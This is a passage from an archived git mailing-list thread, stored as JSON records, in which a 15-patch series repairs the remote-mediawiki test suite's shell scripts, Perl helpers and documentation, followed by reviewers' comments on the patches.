again.\"\n-\t\techo \"$MW_FILENAME downloaded in $(pwd). \"\\\n+\t\techo \"$MW_FILENAME downloaded in $(pwd)/ \"\\\n \t\t\t\"You can delete it later if you want.\"\n \telse\n-\t\techo \"Reusing existing $MW_FILENAME downloaded in $(pwd).\"\n+\t\techo \"Reusing existing $MW_FILENAME downloaded in $(pwd)/\"\n \tfi\n \tarchive_abs_path=$(pwd)/$MW_FILENAME\n \tcd \"$WIKI_DIR_INST/$WIKI_DIR_NAME/\" ||\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405619","messageId":"20200916102918.29805-8-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:10Z","receivedAt":"2020-09-16T12:29:30Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change a test that used a plain test_cmp to first check the file(s)\nusing test_path_is_file. If some of these file(s) don't exist (as\nhappened to me during debugging), test_cmp will emit a way less useful\nmessage about the failure.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 7 +++++++\n 1 file changed, 7 insertions(+)\n\ndiff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\nindex 43580af3cf..d3de6c204a 100755\n--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n@@ -52,9 +52,13 @@ test_expect_success 'git clone works on previously created wiki with media files\n \ttest_when_finished \"rm -rf mw_dir mw_dir_clone\" &&\n \tgit clone -c remote.origin.mediaimport=true \\\n \t\tmediawiki::'\"$WIKI_URL\"' mw_dir_clone &&\n+\ttest_path_is_file mw_dir_clone/Foo.txt &&\n+\ttest_path_is_file mw_dir/Foo.txt &&\n \ttest_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt &&\n \t(cd mw_dir_clone && git checkout HEAD^) &&\n \t(cd mw_dir && git checkout HEAD^) &&\n+\ttest_path_is_file mw_dir_clone/Foo.txt &&\n+\ttest_path_is_file mw_dir/Foo.txt &&\n \ttest_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt\n '\n \n@@ -74,6 +78,8 @@ test_expect_success 'git clone works on previously created wiki with media files\n \ttest_when_finished \"rm -rf mw_dir mw_dir_clone\" &&\n \tgit clone -c remote.origin.mediaimport=true \\\n \t\tmediawiki::'\"$WIKI_URL\"' mw_dir_clone &&\n+\ttest_path_is_file mw_dir_clone/Bar.txt &&\n+\ttest_path_is_file mw_dir/Bar.txt &&\n \ttest_cmp mw_dir_clone/Bar.txt mw_dir/Bar.txt\n '\n \n@@ -90,6 +96,7 @@ test_expect_success 'git push & pull work with locally renamed media files' '\n \t\tgit commit -m \"Rename a file\" &&\n \t\ttest_git_reimport &&\n \t\techo \"A File\" >expect &&\n+\t\ttest_path_is_file Bar.txt &&\n \t\ttest_cmp expect Bar.txt &&\n \t\ttest_path_is_missing Foo.txt\n \t)\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405620","messageId":"20200916102918.29805-12-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 11/15] remote-mediawiki tests: replace deprecated Perl construct","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:14Z","receivedAt":"2020-09-16T12:32:09Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"The use of the encoding pragma has been a hard error since Perl 5.18,\nwhich was released in 2013. What this script really wanted to do was\nto decode @ARGV and write out some files with the UTF-8 PerlIO\nlayer. Let's just do that explicitly instead.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw.pl | 3 +--\n 1 file changed, 1 insertion(+), 2 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl\nindex afc4650b1a..71e5b06235 100755\n--- a/contrib/mw-to-git/t/test-gitmw.pl\n+++ b/contrib/mw-to-git/t/test-gitmw.pl\n@@ -24,7 +24,6 @@\n \n use MediaWiki::API;\n use Getopt::Long;\n-use encoding 'utf8';\n use DateTime::Format::ISO8601;\n use open ':encoding(utf8)';\n use constant SLASH_REPLACEMENT => \"%2F\";\n@@ -222,4 +221,4 @@ sub wiki_upload_file {\n \tgetallpagename => \\&wiki_getallpagename,\n );\n die \"$0 ERROR: wrong argument\" unless exists $functions_to_call{$fct_to_call};\n-$functions_to_call{$fct_to_call}->(@ARGV);\n+$functions_to_call{$fct_to_call}->(map { utf8::decode($_); $_ } @ARGV);\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405621","messageId":"20200916102918.29805-9-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 08/15] remote-mediawiki tests: change `[]` to `test`","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:11Z","receivedAt":"2020-09-16T12:33:53Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Convert `[]` to `test` and break if-then into separate lines, both of\nwhich bring the style in line with Git's coding guidelines.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw-lib.sh | 17 +++++++++++------\n 1 file changed, 11 insertions(+), 6 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh\nindex 3948a00282..a466be8f3f 100755\n--- a/contrib/mw-to-git/t/test-gitmw-lib.sh\n+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh\n@@ -65,7 +65,7 @@ test_check_precond () {\n \tGIT_EXEC_PATH=$(cd \"$(dirname \"$0\")\" && cd \"../..\" && pwd)\n \tPATH=\"$GIT_EXEC_PATH\"'/bin-wrapper:'\"$PATH\"\n \n-\tif [ ! -d \"$WIKI_DIR_INST/$WIKI_DIR_NAME\" ];\n+\tif ! test -d \"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n \tthen\n \t\tskip_all='skipping gateway git-mw tests, no mediawiki found'\n \t\ttest_done\n@@ -304,7 +304,8 @@ create_db () {\n \tphp \"$FILES_FOLDER/$DB_INSTALL_SCRIPT\" $(basename \"$DB_FILE\" .sqlite) \\\n \t\t\"$WIKI_ADMIN\" \"$WIKI_PASSW\" \"$TMP\" \"$PORT\"\n \n-\tif [ ! -f \"$TMP/$DB_FILE\" ] ; then\n+\tif ! test -f \"$TMP/$DB_FILE\"\n+\tthen\n \t\terror \"Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first.\"\n \tfi\n \n@@ -325,7 +326,8 @@ wiki_install () {\n \t# unpack and copy the files of MediaWiki\n \t(\n \tmkdir -p \"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n-\tif [ ! -d \"$WIKI_DIR_INST/$WIKI_DIR_NAME\" ] ; then\n+\tif ! test -d \"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n+\tthen\n \t\terror \"Folder $WIKI_DIR_INST/$WIKI_DIR_NAME doesn't exist.\n \t\tPlease create it and launch the script again.\"\n \tfi\n@@ -333,7 +335,8 @@ wiki_install () {\n \t# Fetch MediaWiki's archive if not already present in the TMP directory\n \tMW_FILENAME=\"mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz\"\n \tcd \"$TMP\"\n-\tif [ ! -f $MW_FILENAME ] ; then\n+\tif ! test -f $MW_FILENAME\n+\tthen\n \t\techo \"Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ...\"\n \t\twget \"http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/$MW_FILENAME\" ||\n \t\t\terror \"Unable to download \"\\\n@@ -359,7 +362,8 @@ wiki_install () {\n \t# And modify parameters according to the ones set at the top\n \t# of this script.\n \t# Note that LocalSettings.php is never modified.\n-\tif [ ! -f \"$FILES_FOLDER/LocalSettings.php\" ] ; then\n+\tif ! test -f \"$FILES_FOLDER/LocalSettings.php\"\n+\tthen\n \t\terror \"Can't find $FILES_FOLDER/LocalSettings.php \" \\\n \t\t\t\"in the current folder. \"\\\n \t\t\"Please run the script inside its folder.\"\n@@ -401,7 +405,8 @@ wiki_install () {\n # Warning: This function must be called only in a subdirectory of t/ directory\n wiki_reset () {\n \t# Copy initial database of the wiki\n-\tif [ ! -f \"../$FILES_FOLDER/$DB_FILE\" ] ; then\n+\tif ! test -f \"../$FILES_FOLDER/$DB_FILE\"\n+\tthen\n \t\terror \"Can't find ../$FILES_FOLDER/$DB_FILE in the current folder.\"\n \tfi\n \tcp \"../$FILES_FOLDER/$DB_FILE\" \"$TMP\" ||\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405622","messageId":"20200916102918.29805-11-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 10/15] remote-mediawiki tests: use a more idiomatic dispatch table","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:13Z","receivedAt":"2020-09-16T12:34:24Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change the dispatch table code in test-gitmw.pl to use a hash where\nsubroutine references are the values. This is more obvious than a hash\nwhere the values are strings we'll use to go searching around in the\nsymbol table for the function.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw.pl | 14 +++++++-------\n 1 file changed, 7 insertions(+), 7 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl\nindex 0ff76259fa..afc4650b1a 100755\n--- a/contrib/mw-to-git/t/test-gitmw.pl\n+++ b/contrib/mw-to-git/t/test-gitmw.pl\n@@ -214,12 +214,12 @@ sub wiki_upload_file {\n \n wiki_login($wiki_admin, $wiki_admin_pass);\n \n-my %functions_to_call = qw(\n-\tupload_file wiki_upload_file\n-\tget_page wiki_getpage\n-\tdelete_page wiki_delete_page\n-\tedit_page wiki_editpage\n-\tgetallpagename wiki_getallpagename\n+my %functions_to_call = (\n+\tupload_file => \\&wiki_upload_file,\n+\tget_page => \\&wiki_getpage,\n+\tdelete_page => \\&wiki_delete_page,\n+\tedit_page => \\&wiki_editpage,\n+\tgetallpagename => \\&wiki_getallpagename,\n );\n die \"$0 ERROR: wrong argument\" unless exists $functions_to_call{$fct_to_call};\n-&{$functions_to_call{$fct_to_call}}(@ARGV);\n+$functions_to_call{$fct_to_call}->(@ARGV);\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405623","messageId":"20200916102918.29805-4-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 03/15] remote-mediawiki doc: bump recommended PHP version to 7.3","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:06Z","receivedAt":"2020-09-16T12:39:09Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change the version in the documentation to what's currently in Debian\nstable. Ideally we wouldn't have to keep changing this version, but if\nit's going to be hardcoded let's use something that works on a modern\ninstallation.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/README | 10 +++++-----\n 1 file changed, 5 insertions(+), 5 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README\nindex 2ee34be7e4..d9c85e2c63 100644\n--- a/contrib/mw-to-git/t/README\n+++ b/contrib/mw-to-git/t/README\n@@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be\n adapted for another distribution):\n \n * lighttpd\n-* php5\n-* php5-cgi\n-* php5-cli\n-* php5-curl\n-* php5-sqlite\n+* php7.3\n+* php7.3-cgi\n+* php7.3-cli\n+* php7.3-curl\n+* php7.3-sqlite\n \n Principles and Technical Choices\n --------------------------------\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405624","messageId":"20200916102918.29805-1-avarab@gmail.com","threadId":"54243","inReplyTo":null,"subject":"[PATCH 00/15] remote-mediawiki: various fixes to make tests pass","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:03Z","receivedAt":"2020-09-16T12:42:52Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"I had occasion to look at remote-mediawiki and I couldn't even get the\ntest suite to run. The patches below have more detail but there's\nissues like a hard error on any Perl release newer than ones released\nin 2013, and the MediaWiki release it tries to use spewing errors on\nany modern PHP version.\n\nThis series fixes these issues. With it applied it's possible to run\nthe tests, and they all pass.\n\nSimon Legner (1):\n remote-mediawiki: fix duplicate revisions being imported\n\nÆvar Arnfjörð Bjarmason (14):\n remote-mediawiki doc: correct link to GitHub project\n remote-mediawiki doc: link to MediaWiki's current version\n remote-mediawiki doc: bump recommended PHP version to 7.3\n remote-mediawiki tests: use the login/password variables\n remote-mediawiki tests: use a 10 character password\n remote-mediawiki tests: use test_cmp in tests\n remote-mediawiki tests: guard test_cmp with test_path_is_file\n remote-mediawiki tests: change `[]` to `test`\n remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"\n remote-mediawiki tests: use a more idiomatic dispatch table\n remote-mediawiki tests: replace deprecated Perl construct\n remote-mediawiki tests: use inline PerlIO for readability\n remote-mediawiki tests: use CLI installer\n remote-mediawiki tests: annotate failing tests\n\n contrib/mw-to-git/git-mw.perl | 2 +-\n contrib/mw-to-git/git-remote-mediawiki.perl | 5 +-\n contrib/mw-to-git/git-remote-mediawiki.txt | 2 +-\n contrib/mw-to-git/t/.gitignore | 2 +-\n contrib/mw-to-git/t/README | 10 +-\n contrib/mw-to-git/t/install-wiki/.gitignore | 1 -\n .../t/install-wiki/LocalSettings.php | 129 --------------\n .../mw-to-git/t/install-wiki/db_install.php | 120 -------------\n contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 +-\n .../t/t9363-mw-to-git-export-import.sh | 15 +-\n contrib/mw-to-git/t/test-gitmw-lib.sh | 159 +++++++++---------\n contrib/mw-to-git/t/test-gitmw.pl | 22 ++-\n contrib/mw-to-git/t/test.config | 23 +--\n 13 files changed, 129 insertions(+), 369 deletions(-)\n delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore\n delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php\n delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php\n\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405625","messageId":"20200916102918.29805-3-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 02/15] remote-mediawiki doc: link to MediaWiki's current version","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:05Z","receivedAt":"2020-09-16T12:51:31Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Amend a comment in the test.config file to point to the latest\nupstream version, which makes it easier for the user to tweak this.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test.config | 3 +++\n 1 file changed, 3 insertions(+)\n\ndiff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config\nindex 5ba0684162..b6fb0b3993 100644\n--- a/contrib/mw-to-git/t/test.config\n+++ b/contrib/mw-to-git/t/test.config\n@@ -31,6 +31,9 @@ WEB_WWW=$WEB/www\n # The variables below are used by the script to install a wiki.\n # You should not modify these unless you are modifying the script itself.\n # tested versions: 1.19.X -> 1.21.1\n+#\n+# See https://www.mediawiki.org/wiki/Download for what the latest\n+# version is.\n MW_VERSION_MAJOR=1.21\n MW_VERSION_MINOR=1\n FILES_FOLDER=install-wiki\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405626","messageId":"20200916102918.29805-2-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 01/15] remote-mediawiki doc: correct link to GitHub project","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:04Z","receivedAt":"2020-09-16T12:54:12Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change the link to the canonical one, the old link redirects to the\nnew one.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/git-mw.perl | 2 +-\n contrib/mw-to-git/git-remote-mediawiki.perl | 2 +-\n contrib/mw-to-git/git-remote-mediawiki.txt | 2 +-\n 3 files changed, 3 insertions(+), 3 deletions(-)\n\ndiff --git a/contrib/mw-to-git/git-mw.perl b/contrib/mw-to-git/git-mw.perl\nindex 28df3ee321..eb52a53d32 100755\n--- a/contrib/mw-to-git/git-mw.perl\n+++ b/contrib/mw-to-git/git-mw.perl\n@@ -6,7 +6,7 @@\n # License: GPL v2 or later\n \n # Set of tools for git repo with a mediawiki remote.\n-# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/\n+# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki\n \n use strict;\n use warnings;\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl\nindex d8ff2e69c4..08190e23e1 100755\n--- a/contrib/mw-to-git/git-remote-mediawiki.perl\n+++ b/contrib/mw-to-git/git-remote-mediawiki.perl\n@@ -9,7 +9,7 @@\n # License: GPL v2 or later\n \n # Gateway between Git and MediaWiki.\n-# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/\n+# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki\n \n use strict;\n use MediaWiki::API;\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.txt b/contrib/mw-to-git/git-remote-mediawiki.txt\nindex 23b7ef9f62..5da825f61e 100644\n--- a/contrib/mw-to-git/git-remote-mediawiki.txt\n+++ b/contrib/mw-to-git/git-remote-mediawiki.txt\n@@ -4,4 +4,4 @@ objects from mediawiki just as one would do with a classic git\n repository thanks to remote-helpers.\n \n For more information, visit the wiki at\n-https://github.com/moy/Git-Mediawiki/wiki\n+https://github.com/Git-Mediawiki/Git-Mediawiki\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405649","messageId":"20200916183813.GA33925@coredump.intra.peff.net","threadId":"54243","inReplyTo":"20200916102918.29805-7-avarab@gmail.com","subject":"Re: [PATCH 06/15] remote-mediawiki tests: use test_cmp in tests","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2020-09-16T18:38:13Z","receivedAt":"2020-09-16T18:38:27Z","isPatch":true,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Wed, Sep 16, 2020 at 12:29:09PM +0200, Ævar Arnfjörð Bjarmason wrote:\n\n> Change code that used an ad-hoc diff invocation to use our test_cmp\n> helper instead. I'm also changing the order of arguments to be the\n> standard \"test_cmp \".\n\nDefinitely a positive direction, but...\n\n> diff --git a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\n> index 9106833578..4c39bda7bf 100755\n> --- a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\n> +++ b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\n> @@ -28,7 +28,7 @@ test_expect_success 'Git clone creates the expected git log with one file' '\n> \t\tgit log --format=%s HEAD^..HEAD >log.tmp\n> \t) &&\n> \techo \"this must be the same\" >msg.tmp &&\n> -\tdiff -b mw_dir_1/log.tmp msg.tmp\n> +\ttest_cmp msg.tmp mw_dir_1/log.tmp\n> '\n\n...the original was ignoring whitespace. Is that not important?\n\n-Peff\n"},{"id":"405650","messageId":"20200916184104.GB33925@coredump.intra.peff.net","threadId":"54243","inReplyTo":"20200916102918.29805-8-avarab@gmail.com","subject":"Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2020-09-16T18:41:04Z","receivedAt":"2020-09-16T18:41:24Z","isPatch":true,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Wed, Sep 16, 2020 at 12:29:10PM +0200, Ævar Arnfjörð Bjarmason wrote:\n\n> Change a test that used a plain test_cmp to first check the file(s)\n> using test_path_is_file. If some of these file(s) don't exist (as\n> happened to me during debugging), test_cmp will emit a way less useful\n> message about the failure.\n\nThis seems like a problem that would exist in basically every test that\nuses test_cmp (well, many of them do \">actual\", so it's unlikely that\nthe content would be missing, but it would be true of any test that\nexpects a command to generate a file).\n\nRather than annotate each site, could we teach test_cmp to show a nicer\nmessage?\n\n-Peff\n"},{"id":"405652","messageId":"20200916184359.GC33925@coredump.intra.peff.net","threadId":"54243","inReplyTo":"20200916102918.29805-10-avarab@gmail.com","subject":"Re: [PATCH 09/15] remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2020-09-16T18:43:59Z","receivedAt":"2020-09-16T18:44:51Z","isPatch":true,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Wed, Sep 16, 2020 at 12:29:12PM +0200, Ævar Arnfjörð Bjarmason wrote:\n\n> Change UI messages to use \"$dir/\" instead of \"$dir.\". I think this is\n> less confusing.\n\nYeah, a trailing slash is a nice indicator. In the first message,\nthough:\n\n> -\t\techo \"$MW_FILENAME downloaded in $(pwd). \"\\\n> +\t\techo \"$MW_FILENAME downloaded in $(pwd)/ \"\\\n> \t\t\t\"You can delete it later if you want.\"\n\n...we've lost the period separating the two sentences. So you get:\n\n foo downloaded in /some/path/ You can delete it later if you want.\n\n(the two spaces are because \"echo\" adds an extra space between the\narguments). Maybe:\n\n foo downloaded in /some/path/; you can delete it later if you want.\n\nor something?\n\n-Peff\n"},{"id":"405653","messageId":"20200916184908.GD33925@coredump.intra.peff.net","threadId":"54243","inReplyTo":"20200916102918.29805-12-avarab@gmail.com","subject":"Re: [PATCH 11/15] remote-mediawiki tests: replace deprecated Perl construct","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2020-09-16T18:49:08Z","receivedAt":"2020-09-16T18:49:21Z","isPatch":true,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Wed, Sep 16, 2020 at 12:29:14PM +0200, Ævar Arnfjörð Bjarmason wrote:\n\n> The use of the encoding pragma has been a hard error since Perl 5.18,\n> which was released in 2013. What this script really wanted to do was\n> to decode @ARGV and write out some files with the UTF-8 PerlIO\n> layer. Let's just do that explicitly instead.\n\nMakes sense. After reading this, I expected the utf::decode() for argv\nyou added, but wondered about the UTF-8 output. But I think the \"use\nopen ':encoding(utf8)'\" below takes care of that.\n\n-Peff\n"},{"id":"405654","messageId":"20200916185732.GE33925@coredump.intra.peff.net","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"Re: [PATCH 00/15] remote-mediawiki: various fixes to make tests pass","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2020-09-16T18:57:32Z","receivedAt":"2020-09-16T18:57:41Z","isPatch":true,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Wed, Sep 16, 2020 at 12:29:03PM +0200, Ævar Arnfjörð Bjarmason wrote:\n\n> I had occasion to look at remote-mediawiki and I couldn't even get the\n> test suite to run. The patches below have more detail but there's\n> issues like a hard error on any Perl release newer than ones released\n> in 2013, and the MediaWiki release it tries to use spewing errors on\n> any modern PHP version.\n> \n> This series fixes these issues. With it applied it's possible to run\n> the tests, and they all pass.\n\nThese all look reasonable. I left a few minor comments, but frankly, I\ncare little enough about this clearly unmaintained bit of contrib/ that\nI would be happy either way.\n\nI am a little puzzled about what we want the future of contrib/mw-to-git\nto be. It sounds like there have been a few minor improvements in the\nexternal GitHub project (though clearly lacking a bunch of fixes you\nhave here). Should we be pushing these fixes up to that version and then\neither:\n\n - considering that project the upstream, and reimporting from them\n once the fixes are merged there\n\n - ejecting it from contrib/; it can live on as a separate project\n\n-Peff\n"},{"id":"405655","messageId":"20200916102918.29805-5-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 04/15] remote-mediawiki tests: use the login/password variables","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:07Z","receivedAt":"2020-09-16T19:01:53Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change a hardcoded user/password for the corresponding variable\ndefined in contrib/mw-to-git/t/test.config.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 4 ++--\n 1 file changed, 2 insertions(+), 2 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\nindex 3ff3a09567..43580af3cf 100755\n--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n@@ -27,8 +27,8 @@ test_git_reimport () {\n \n # Don't bother with permissions, be administrator by default\n test_expect_success 'setup config' '\n-\tgit config --global remote.origin.mwLogin WikiAdmin &&\n-\tgit config --global remote.origin.mwPassword AdminPass &&\n+\tgit config --global remote.origin.mwLogin \"$WIKI_ADMIN\" &&\n+\tgit config --global remote.origin.mwPassword \"$WIKI_PASSW\" &&\n \ttest_might_fail git config --global --unset remote.origin.mediaImport\n '\n \n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405671","messageId":"nycvar.QRO.7.76.6.2009162144390.56@tvgsbejvaqbjf.bet","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"Re: [PATCH 00/15] remote-mediawiki: various fixes to make tests pass","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2020-09-16T19:46:46Z","receivedAt":"2020-09-16T19:47:43Z","isPatch":true,"sender":{"key":"johannes.schindelin@gmx.de","avatar":"https://avatars.githubusercontent.com/u/127790?v=4"},"body":"Hi Ævar,\n\nOn Wed, 16 Sep 2020, Ævar Arnfjörð Bjarmason wrote:\n\n> I had occasion to look at remote-mediawiki and I couldn't even get the\n> test suite to run. The patches below have more detail but there's\n> issues like a hard error on any Perl release newer than ones released\n> in 2013, and the MediaWiki release it tries to use spewing errors on\n> any modern PHP version.\n>\n> This series fixes these issues. With it applied it's possible to run\n> the tests, and they all pass.\n\nI glimpsed through the patches, and they all look in pretty good shape. I\njust wish that the TODO in Simon's patch had been resolved, and that the\ntest failures had been root-caused, but then, I personally do not really\ncare all that much about the `remote-mediawiki` backend any longer, so I\nam fine with the patches as-are (modulo Danh's/Eric's nit about the\nextra tests before `test_cmp`).\n\nThanks,\nDscho\n\n>\n> Simon Legner (1):\n> remote-mediawiki: fix duplicate revisions being imported\n>\n> Ævar Arnfjörð Bjarmason (14):\n> remote-mediawiki doc: correct link to GitHub project\n> remote-mediawiki doc: link to MediaWiki's current version\n> remote-mediawiki doc: bump recommended PHP version to 7.3\n> remote-mediawiki tests: use the login/password variables\n> remote-mediawiki tests: use a 10 character password\n> remote-mediawiki tests: use test_cmp in tests\n> remote-mediawiki tests: guard test_cmp with test_path_is_file\n> remote-mediawiki tests: change `[]` to `test`\n> remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"\n> remote-mediawiki tests: use a more idiomatic dispatch table\n> remote-mediawiki tests: replace deprecated Perl construct\n> remote-mediawiki tests: use inline PerlIO for readability\n> remote-mediawiki tests: use CLI installer\n> remote-mediawiki tests: annotate failing tests\n>\n> contrib/mw-to-git/git-mw.perl | 2 +-\n> contrib/mw-to-git/git-remote-mediawiki.perl | 5 +-\n> contrib/mw-to-git/git-remote-mediawiki.txt | 2 +-\n> contrib/mw-to-git/t/.gitignore | 2 +-\n> contrib/mw-to-git/t/README | 10 +-\n> contrib/mw-to-git/t/install-wiki/.gitignore | 1 -\n> .../t/install-wiki/LocalSettings.php | 129 --------------\n> .../mw-to-git/t/install-wiki/db_install.php | 120 -------------\n> contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 +-\n> .../t/t9363-mw-to-git-export-import.sh | 15 +-\n> contrib/mw-to-git/t/test-gitmw-lib.sh | 159 +++++++++---------\n> contrib/mw-to-git/t/test-gitmw.pl | 22 ++-\n> contrib/mw-to-git/t/test.config | 23 +--\n> 13 files changed, 129 insertions(+), 369 deletions(-)\n> delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore\n> delete mode 100644 